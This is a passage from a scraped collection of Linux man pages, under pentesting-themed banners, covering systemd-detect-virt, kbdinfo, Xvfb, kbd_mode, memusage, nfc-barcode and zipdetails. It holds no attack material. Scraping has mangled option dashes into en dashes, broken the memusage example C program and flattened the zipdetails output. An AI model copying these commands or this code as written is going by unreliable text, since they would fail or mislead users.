             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

221 - Linux cli command systemd-detect-virt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-detect-virt and provides detailed information about the command systemd-detect-virt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-detect-virt.

NAME 🖥️ systemd-detect-virt 🖥️

detect-virt - Detect execution in a virtualized environment

SYNOPSIS

systemd-detect-virt [OPTIONS…]

DESCRIPTION

systemd-detect-virt detects execution in a virtualized environment. It identifies the virtualization technology and can distinguish full machine virtualization from container virtualization. systemd-detect-virt exits with a return value of 0 (success) if a virtualization technology is detected, and non-zero (error) otherwise. By default, any type of virtualization is detected, and the options –container and –vm can be used to limit what types of virtualization are detected.

When executed without –quiet will print a short identifier for the detected virtualization technology. The following technologies are currently identified:

Table 1. Known virtualization technologies (both VM, i.e. full hardware virtualization, and container, i.e. shared kernel virtualization)

TypeIDProduct
VMqemuQEMU software virtualization, without KVM
kvmLinux KVM kernel virtual machine, in combination with QEMU. Not used for other virtualizers using the KVM interfaces, such as Oracle VirtualBox or Amazon EC2 Nitro, see below.
amazonAmazon EC2 Nitro using Linux KVM
zvms390 z/VM
vmwareVMware Workstation or Server, and related products
microsoftHyper-V, also known as Viridian or Windows Server Virtualization
oracleOracle VM VirtualBox (historically marketed by innotek and Sun Microsystems), for legacy and KVM hypervisor
powervmIBM PowerVM hypervisor — comes as firmware with some IBM POWER servers
xenXen hypervisor (only domU, not dom0)
bochsBochs Emulator
umlUser-mode Linux
parallelsParallels Desktop, Parallels Server
bhyvebhyve, FreeBSD hypervisor
qnxQNX hypervisor
acrnACRN hypervisor[1]
appleApple virtualization framework[2]
sreLMHS SRE hypervisor[3]
googleGoogle Compute Engine[4]
ContaineropenvzOpenVZ/Virtuozzo
lxcLinux container implementation by LXC
lxc-libvirtLinux container implementation by libvirt
systemd-nspawnsystemds minimal container implementation, see systemd-nspawn(1)
dockerDocker container manager
podmanPodman[5] container manager
rktrkt app container runtime
wslWindows Subsystem for Linux[6]
prootproot[7] userspace chroot/bind mount emulation
pouchPouch[8] Container Engine

If multiple virtualization solutions are used, only the “innermost” is detected and identified. That means if both machine and container virtualization are used in conjunction, only the latter will be identified (unless –vm is passed).

Windows Subsystem for Linux is not a Linux container, but an environment for running Linux userspace applications on top of the Windows kernel using a Linux-compatible interface. WSL is categorized as a container for practical purposes. Multiple WSL environments share the same kernel and services should generally behave like when being run in a container.

OPTIONS

The following options are understood:

-c, –container

Only detects container virtualization (i.e. shared kernel virtualization).

-v, –vm

Only detects hardware virtualization.

-r, –chroot

Detect whether invoked in a chroot(2) environment. In this mode, no output is written, but the return value indicates whether the process was invoked in a chroot() environment or not.

Added in version 228.

–private-users

Detect whether invoked in a user namespace. In this mode, no output is written, but the return value indicates whether the process was invoked inside of a user namespace or not. See user_namespaces(7) for more information.

Added in version 232.

–cvm

Detect whether invoked in a confidential virtual machine. The result of this detection may be used to disable features that should not be used in confidential VMs. It must not be used to release security sensitive information. The latter must only be released after attestation of the confidential environment.

Added in version 254.

-q, –quiet

Suppress output of the virtualization technology identifier.

–list

Output all currently known and detectable container and VM environments.

Added in version 239.

–list-cvm

Output all currently known and detectable confidential virtualization technologies.

Added in version 254.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

If a virtualization technology is detected, 0 is returned, a non-zero code otherwise.

SEE ALSO

systemd(1), systemd-nspawn(1), chroot(2), namespaces(7)

NOTES

ACRN hypervisor

https://projectacrn.org

Apple virtualization framework

https://developer.apple.com/documentation/virtualization

LMHS SRE hypervisor

https://www.lockheedmartin.com/en-us/products/Hardened-Security-for-Intel-Processors.html

Google Compute Engine

https://cloud.google.com/compute

Podman

https://podman.io

Windows Subsystem for Linux

https://docs.microsoft.com/en-us/windows/wsl/about

proot

https://proot-me.github.io/

Pouch

https://github.com/alibaba/pouch

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

222 - Linux cli command kbdinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kbdinfo and provides detailed information about the command kbdinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kbdinfo.

NAME 🖥️ kbdinfo 🖥️

obtain information about the status of a console

SYNOPSIS

kbdinfo [-C DEVICE] getmode [text|graphics]

kbdinfo [-C DEVICE] gkbmode [raw|xlate|mediumraw|unicode]

kbdinfo [-C DEVICE] gkbmeta [metabit|escprefix]

kbdinfo [-C DEVICE] gkbled [scrolllock|numlock|capslock]

DESCRIPTION

kbdinfo is an interface to KDGETMODE, GKBMODE, GKBMETA and GKBLED ioctls. Its primary use case is to query the status of the given CONSOLE (or the currently active one, if no -C option is present) from a shell script.

If the final value argument is not specified, kbdinfo will print the result of the desired ioctl to the standard output. Otherwise, the given value is compared to the actual result, and the utility will exit with a status code of 0 for a match, 1 otherwise. No text is printed for this style of invocation.

SEE ALSO

kbd_mode(1)

AUTHOR

kbdinfo is Copyright © 2011 Alexey Gladkov <[email protected]>.

This manual page was written by Michael Schutte <[email protected]> for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

223 - Linux cli command Xvfb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command Xvfb and provides detailed information about the command Xvfb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the Xvfb.

NAME 🖥️ Xvfb 🖥️

virtual framebuffer X server for X Version 11

SYNOPSIS

Xvfb [ option ] …

DESCRIPTION

Xvfb is an X server that can run on machines with no display hardware and no physical input devices. It emulates a dumb framebuffer using virtual memory.

The primary use of this server was intended to be server testing. The fb code for any depth can be exercised with this server without the need for real hardware that supports the desired depths. The X community has found many other novel uses for Xvfb, including testing clients against unusual depths and screen configurations, doing batch processing with Xvfb as a background rendering engine, load testing, as an aid to porting the X server to a new platform, and providing an unobtrusive way to run applications that don’t really need an X server but insist on having one anyway.

OPTIONS

In addition to the normal server options described in the Xserver(1) manual page, Xvfb accepts the following command line switches:

-screen screennum WxHxD
This option creates screen screennum and sets its width, height, and depth to W, H, and D respectively. By default, only screen 0 exists and has the dimensions 1280x1024x24.

-pixdepths list-of-depths
This option specifies a list of pixmap depths that the server should support in addition to the depths implied by the supported screens. list-of-depths is a space-separated list of integers that can have values from 1 to 32.

-fbdir framebuffer-directory
This option specifies the directory in which the memory mapped files containing the framebuffer memory should be created. See FILES. This option only exists on machines that have the mmap and msync system calls.

-shmem
This option specifies that the framebuffer should be put in shared memory. The shared memory ID for each screen will be printed by the server. The shared memory is in xwd format. This option only exists on machines that support the System V shared memory interface.

If neither -shmem nor -fbdir is specified, the framebuffer memory will be allocated with malloc().

-linebias n
This option specifies how to adjust the pixelization of thin lines. The value n is a bitmask of octants in which to prefer an axial step when the Bresenham error term is exactly zero. See the file Xserver/mi/miline.h for more information. This option is probably only useful to server developers to experiment with the range of line pixelization possible with the fb code.

-blackpixel pixel-value, -whitepixel pixel-value
These options specify the black and white pixel values the server should use.

FILES

The following files are created if the -fbdir option is given.

framebuffer-directory/Xvfb_screen<n>
Memory mapped file containing screen n’s framebuffer memory, one file per screen. The file is in xwd format. Thus, taking a full-screen snapshot can be done with a file copy command, and the resulting snapshot will even contain the cursor image.

EXAMPLES

Xvfb :1 -screen 0 1600x1200x24
The server will listen for connections as server number 1, and screen 0 will be depth 24 1600x1200.

Xvfb :1 -screen 1 1600x1200x16
The server will listen for connections as server number 1, screen 0 will have the default screen configuration (1280x1024x24), and screen 1 will be depth 16 1600x1200.

Xvfb -pixdepths 3 27 -fbdir /var/tmp
The server will listen for connections as server number 0, will have the default screen configuration (one screen, 1280x1024x24), will also support pixmap depths of 3 and 27, and will use memory mapped files in /var/tmp for the framebuffer.

xwud -in /var/tmp/Xvfb_screen0
Displays screen 0 of the server started by the preceding example.

SEE ALSO

X(7), Xserver(1), xwd(1), xwud(1), XWDFile.h

AUTHORS

David P. Wiggins, The Open Group, Inc.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

224 - Linux cli command kbd_mode

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kbd_mode and provides detailed information about the command kbd_mode, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kbd_mode.

NAME 🖥️ kbd_mode 🖥️

report or set the keyboard mode

SYNOPSIS

kbd_mode [ -a | -u | -k | -s ] [ -f ] [ -C CONSOLE ]

DESCRIPTION

Without argument, kbd_mode prints the current keyboard mode (RAW, MEDIUMRAW or XLATE). With argument, it sets the keyboard mode as indicated:

-s: scancode mode (RAW),

-k: keycode mode (MEDIUMRAW),

-a: ASCII mode (XLATE),

-u: UTF-8 mode (UNICODE).

Of course the “-a” is only traditional, and the code used can be any 8-bit character set. With “-u” a 16-bit character set is expected, and these chars are transmitted to the kernel as 1, 2, or 3 bytes (following the UTF-8 coding). In these latter two modes the key mapping defined by loadkeys(1) is used.

kbd_mode operates on the console specified by the “-C” option; if there is none, the console associated with stdin is used.

Warning: changing the keyboard mode, other than between ASCII and Unicode, will probably make your keyboard unusable. Set the “-f” option to force such changes. This command is only meant for use (say via remote login) when some program left your keyboard in the wrong state. Note that in some obsolete versions of this program the “-u” option was a synonym for “-s” and older versions of this program may not recognize the “-f” option.

SEE ALSO

loadkeys(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

225 - Linux cli command memusage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memusage and provides detailed information about the command memusage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memusage.

NAME 🖥️ memusage 🖥️

profile memory usage of a program

SYNOPSIS

memusage [option]... program [programoption]...

DESCRIPTION

memusage is a bash script which profiles memory usage of the program, program. It preloads the libmemusage.so library into the caller’s environment (via the LD_PRELOAD environment variable; see ld.so(8)). The libmemusage.so library traces memory allocation by intercepting calls to malloc(3), calloc(3), free(3), and realloc(3); optionally, calls to mmap(2), mremap(2), and munmap(2) can also be intercepted.

memusage can output the collected data in textual form, or it can use memusagestat(1) (see the -p option, below) to create a PNG file containing graphical representation of the collected data.

Memory usage summary

The “Memory usage summary” line output by memusage contains three fields:

heap total
Sum of size arguments of all malloc(3) calls, products of arguments (nmemb*size) of all calloc(3) calls, and sum of length arguments of all mmap(2) calls. In the case of realloc(3) and mremap(2), if the new size of an allocation is larger than the previous size, the sum of all such differences (new size minus old size) is added.

heap peak
Maximum of all size arguments of malloc(3), all products of nmemb*size of calloc(3), all size arguments of realloc(3), length arguments of mmap(2), and new_size arguments of mremap(2).

stack peak
Before the first call to any monitored function, the stack pointer address (base stack pointer) is saved. After each function call, the actual stack pointer address is read and the difference from the base stack pointer computed. The maximum of these differences is then the stack peak.

Immediately following this summary line, a table shows the number calls, total memory allocated or deallocated, and number of failed calls for each intercepted function. For realloc(3) and mremap(2), the additional field “nomove” shows reallocations that changed the address of a block, and the additional “dec” field shows reallocations that decreased the size of the block. For realloc(3), the additional field “free” shows reallocations that caused a block to be freed (i.e., the reallocated size was 0).

The “realloc/total memory” of the table output by memusage does not reflect cases where realloc(3) is used to reallocate a block of memory to have a smaller size than previously. This can cause sum of all “total memory” cells (excluding “free”) to be larger than the “free/total memory” cell.

Histogram for block sizes

The “Histogram for block sizes” provides a breakdown of memory allocations into various bucket sizes.

OPTIONS

**-n name, **–progname=****name
Name of the program file to profile.

**-p file, **–png=****file
Generate PNG graphic and store it in file.

**-d file, **–data=****file
Generate binary data file and store it in file.

-u, –unbuffered
Do not buffer output.

**-b size, **–buffer=****size
Collect size entries before writing them out.

–no-timer
Disable timer-based (SIGPROF) sampling of stack pointer value.

-m, –mmap
Also trace mmap(2), mremap(2), and munmap(2).

-?, –help
Print help and exit.

–usage
Print a short usage message and exit.

-V, –version
Print version information and exit.

The following options apply only when generating graphical output:
-t, –time-based
Use time (rather than number of function calls) as the scale for the X axis.

-T, –total
Also draw a graph of total memory use.

****–title=****name
Use name as the title of the graph.

**-x size, **–x-size=****size
Make the graph size pixels wide.

**-y size, **–y-size=****size
Make the graph size pixels high.

EXIT STATUS

The exit status of memusage is equal to the exit status of the profiled program.

BUGS

To report bugs, see

EXAMPLES

Below is a simple program that reallocates a block of memory in cycles that rise to a peak before then cyclically reallocating the memory in smaller blocks that return to zero. After compiling the program and running the following commands, a graph of the memory usage of the program can be found in the file memusage.png:

$ memusage --data=memusage.dat ./a.out
...
Memory usage summary: heap total: 45200, heap peak: 6440, stack peak: 224
        total calls  total memory  failed calls
 malloc|         1           400             0
realloc|        40         44800             0  (nomove:40, dec:19, free:0)
 calloc|         0             0             0
   free|         1           440
Histogram for block sizes:
  192-207             1   2% ================
...
 2192-2207            1   2% ================
 2240-2255            2   4% =================================
 2832-2847            2   4% =================================
 3440-3455            2   4% =================================
 4032-4047            2   4% =================================
 4640-4655            2   4% =================================
 5232-5247            2   4% =================================
 5840-5855            2   4% =================================
 6432-6447            1   2% ================
$ memusagestat memusage.dat memusage.png

Program source

#include <stdio.h>
#include <stdlib.h>
#define CYCLES 20
int
main(int argc, char *argv[])
{
    int i, j;
    size_t size;
    int *p;
    size = sizeof(*p) * 100;
    printf("malloc: %zu

“, size); p = malloc(size); for (i = 0; i < CYCLES; i++) { if (i < CYCLES / 2) j = i; else j–; size = sizeof(*p) * (j * 50 + 110); printf(“realloc: %zu “, size); p = realloc(p, size); size = sizeof(*p) * ((j + 1) * 150 + 110); printf(“realloc: %zu “, size); p = realloc(p, size); } free(p); exit(EXIT_SUCCESS); }

SEE ALSO

memusagestat(1), mtrace(1), ld.so(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

226 - Linux cli command nfc-barcode

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-barcode and provides detailed information about the command nfc-barcode, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-barcode.

NAME 🖥️ nfc-barcode 🖥️

barcode - NFC Barcode (Tag-Talks-First) reader

SYNOPSIS

nfc-barcode

DESCRIPTION

nfc-barcode is a utility to read and decode NFC Barcodes

OPTIONS

-d Decode content, if possible.

-v Verbose.

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

AUTHORS

Philippe Teuwen <[email protected]>

This manual page was written by Philippe Teuwen <[email protected]>. It is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

227 - Linux cli command zipdetails

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zipdetails and provides detailed information about the command zipdetails, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zipdetails.

NAME 🖥️ zipdetails 🖥️

display the internal structure of zip files

SYNOPSIS

zipdetails [-v][–scan][–redact][–utc] zipfile.zip zipdetails -h zipdetails –version

DESCRIPTION

This program creates a detailed report on the internal structure of zip files. For each item of metadata within a zip file the program will output

the offset into the zip file where the item is located.

a textual representation for the item.

an optional hex dump of the item.

The program assumes a prior understanding of the internal structure of Zip files. You should have a copy of the Zip APPNOTE.TXT <http://www.pkware.com/documents/casestudies/APPNOTE.TXT> file at hand to help understand the output from this program.

Default Behaviour

By default the program expects to be given a well-formed zip file. It will navigate the Zip file by first parsing the zip central directory at the end of the file. If that is found, it will then walk through the zip records starting at the beginning of the file. Any badly formed zip data structures encountered are likely to terminate the program.

If the program finds any structural problems with the zip file it will print a summary at the end of the output report. The set of error cases reported is very much a work in progress, so don’t rely on this feature to find all the possible errors in a zip file. If you have suggestions for use-cases where this could be enhanced please consider creating an enhancement request (see “SUPPORT”).

Date/time fields are found in zip files are displayed in local time. Use the --utc option to display these fields in Coordinated Universal Time (UTC).

Scan-Mode

If you do have a potentially corrupt zip file, particulatly where the central directory at the end of the file is absent/incomplete, you can try usng the --scan option to search for zip records that are still present.

When Scan-mode is enabled, the program will walk the zip file from the start, blindly looking for the 4-byte signatures that preceed each of the zip data structures. If it finds any of the recognised signatures it will attempt to dump the associated zip record. For very large zip files, this operation can take a long time to run.

Note that the 4-byte signatures used in zip files can sometimes match with random data stored in the zip file, so care is needed interpreting the results.

OPTIONS

-h
Display help

–redact
Obscure filenames in the output. Handy for the use case where the zip files contains sensitive data that cannot be shared.

–scan
Walk the zip file loking for possible zip records. Can be error-prone. See “Scan-Mode”

–utc
By default, date/time fields are displayed in local time. Use this option to display them in in Coordinated Universal Time (UTC).

-v
Enable Verbose mode. See “Verbose Output”.

–version
Display version number of the program and exit.

Default Output

By default zipdetails will output the details of the zip file in three columns.

Column 1
This contains the offset from the start of the file in hex.

Column 2
This contains a textual description of the field.

Column 3
If the field contains a numeric value it will be displayed in hex. Zip stores most numbers in little-endian format - the value displayed will have the little-endian encoding removed. Next, is an optional description of what the value means.

For example, assuming you have a zip file with two entries, like this

$ unzip -l test.zip Archive: setup/test.zip Length Date Time Name ——— ———- —– —- 6 2021-03-23 18:52 latters.txt 6 2021-03-23 18:52 numbers.txt ——— ——- 12 2 files

Running zipdetails will gives this output

$ zipdetails test.zip 0000 LOCAL HEADER #1 04034B50 0004 Extract Zip Spec 0A 1.0 0005 Extract OS 00 MS-DOS 0006 General Purpose Flag 0000 0008 Compression Method 0000 Stored 000A Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 000E CRC 0F8A149C 0012 Compressed Length 00000006 0016 Uncompressed Length 00000006 001A Filename Length 000B 001C Extra Length 0000 001E Filename letters.txt 0029 PAYLOAD abcde. 002F LOCAL HEADER #2 04034B50 0033 Extract Zip Spec 0A 1.0 0034 Extract OS 00 MS-DOS 0035 General Purpose Flag 0000 0037 Compression Method 0000 Stored 0039 Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 003D CRC 261DAFE6 0041 Compressed Length 00000006 0045 Uncompressed Length 00000006 0049 Filename Length 000B 004B Extra Length 0000 004D Filename numbers.txt 0058 PAYLOAD 12345. 005E CENTRAL HEADER #1 02014B50 0062 Created Zip Spec 1E 3.0 0063 Created OS 03 Unix 0064 Extract Zip Spec 0A 1.0 0065 Extract OS 00 MS-DOS 0066 General Purpose Flag 0000 0068 Compression Method 0000 Stored 006A Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 006E CRC 0F8A149C 0072 Compressed Length 00000006 0076 Uncompressed Length 00000006 007A Filename Length 000B 007C Extra Length 0000 007E Comment Length 0000 0080 Disk Start 0000 0082 Int File Attributes 0001 [Bit 0] 1 Text Data 0084 Ext File Attributes 81B40000 0088 Local Header Offset 00000000 008C Filename letters.txt 0097 CENTRAL HEADER #2 02014B50 009B Created Zip Spec 1E 3.0 009C Created OS 03 Unix 009D Extract Zip Spec 0A 1.0 009E Extract OS 00 MS-DOS 009F General Purpose Flag 0000 00A1 Compression Method 0000 Stored 00A3 Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 00A7 CRC 261DAFE6 00AB Compressed Length 00000006 00AF Uncompressed Length 00000006 00B3 Filename Length 000B 00B5 Extra Length 0000 00B7 Comment Length 0000 00B9 Disk Start 0000 00BB Int File Attributes 0001 [Bit 0] 1 Text Data 00BD Ext File Attributes 81B40000 00C1 Local Header Offset 0000002F 00C5 Filename numbers.txt 00D0 END CENTRAL HEADER 06054B50 00D4 Number of this disk 0000 00D6 Central Dir Disk no 0000 00D8 Entries in this disk 0002 00DA Total Entries 0002 00DC Size of Central Dir 00000072 00E0 Offset to Central Dir 0000005E 00E4 Comment Length 0000 Done

Verbose Output

If the -v option is present, column 1 is expanded to include

  • The offset from the start of the file in hex.

  • The length of the field in hex.

  • A hex dump of the bytes in field in the order they are stored in the zip file.

Here is the same zip file dumped using the zipdetails -v option:

$ zipdetails -v test.zip 0000 0004 50 4B 03 04 LOCAL HEADER #1 04034B50 0004 0001 0A Extract Zip Spec 0A 1.0 0005 0001 00 Extract OS 00 MS-DOS 0006 0002 00 00 General Purpose Flag 0000 0008 0002 00 00 Compression Method 0000 Stored 000A 0004 3D 98 77 52 Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 000E 0004 9C 14 8A 0F CRC 0F8A149C 0012 0004 06 00 00 00 Compressed Length 00000006 0016 0004 06 00 00 00 Uncompressed Length 00000006 001A 0002 0B 00 Filename Length 000B 001C 0002 00 00 Extra Length 0000 001E 000B 6C 65 74 74 Filename letters.txt 65 72 73 2E 74 78 74 0029 0006 61 62 63 64 PAYLOAD abcde. 65 0A 002F 0004 50 4B 03 04 LOCAL HEADER #2 04034B50 0033 0001 0A Extract Zip Spec 0A 1.0 0034 0001 00 Extract OS 00 MS-DOS 0035 0002 00 00 General Purpose Flag 0000 0037 0002 00 00 Compression Method 0000 Stored 0039 0004 3D 98 77 52 Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 003D 0004 E6 AF 1D 26 CRC 261DAFE6 0041 0004 06 00 00 00 Compressed Length 00000006 0045 0004 06 00 00 00 Uncompressed Length 00000006 0049 0002 0B 00 Filename Length 000B 004B 0002 00 00 Extra Length 0000 004D 000B 6E 75 6D 62 Filename numbers.txt 65 72 73 2E 74 78 74 0058 0006 31 32 33 34 PAYLOAD 12345. 35 0A 005E 0004 50 4B 01 02 CENTRAL HEADER #1 02014B50 0062 0001 1E Created Zip Spec 1E 3.0 0063 0001 03 Created OS 03 Unix 0064 0001 0A Extract Zip Spec 0A 1.0 0065 0001 00 Extract OS 00 MS-DOS 0066 0002 00 00 General Purpose Flag 0000 0068 0002 00 00 Compression Method 0000 Stored 006A 0004 3D 98 77 52 Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 006E 0004 9C 14 8A 0F CRC 0F8A149C 0072 0004 06 00 00 00 Compressed Length 00000006 0076 0004 06 00 00 00 Uncompressed Length 00000006 007A 0002 0B 00 Filename Length 000B 007C 0002 00 00 Extra Length 0000 007E 0002 00 00 Comment Length 0000 0080 0002 00 00 Disk Start 0000 0082 0002 01 00 Int File Attributes 0001 [Bit 0] 1 Text Data 0084 0004 00 00 B4 81 Ext File Attributes 81B40000 0088 0004 00 00 00 00 Local Header Offset 00000000 008C 000B 6C 65 74 74 Filename letters.txt 65 72 73 2E 74 78 74 0097 0004 50 4B 01 02 CENTRAL HEADER #2 02014B50 009B 0001 1E Created Zip Spec 1E 3.0 009C 0001 03 Created OS 03 Unix 009D 0001 0A Extract Zip Spec 0A 1.0 009E 0001 00 Extract OS 00 MS-DOS 009F 0002 00 00 General Purpose Flag 0000 00A1 0002 00 00 Compression Method 0000 Stored 00A3 0004 3D 98 77 52 Last Mod Time 5277983D Tue Mar 23 19:01:58 2021 00A7 0004 E6 AF 1D 26 CRC 261DAFE6 00AB 0004 06 00 00 00 Compressed Length 00000006 00AF 0004 06 00 00 00 Uncompressed Length 00000006 00B3 0002 0B 00 Filename Length 000B 00B5 0002 00 00 Extra Length 0000 00B7 0002 00 00 Comment Length 0000 00B9 0002 00 00 Disk Start 0000 00BB 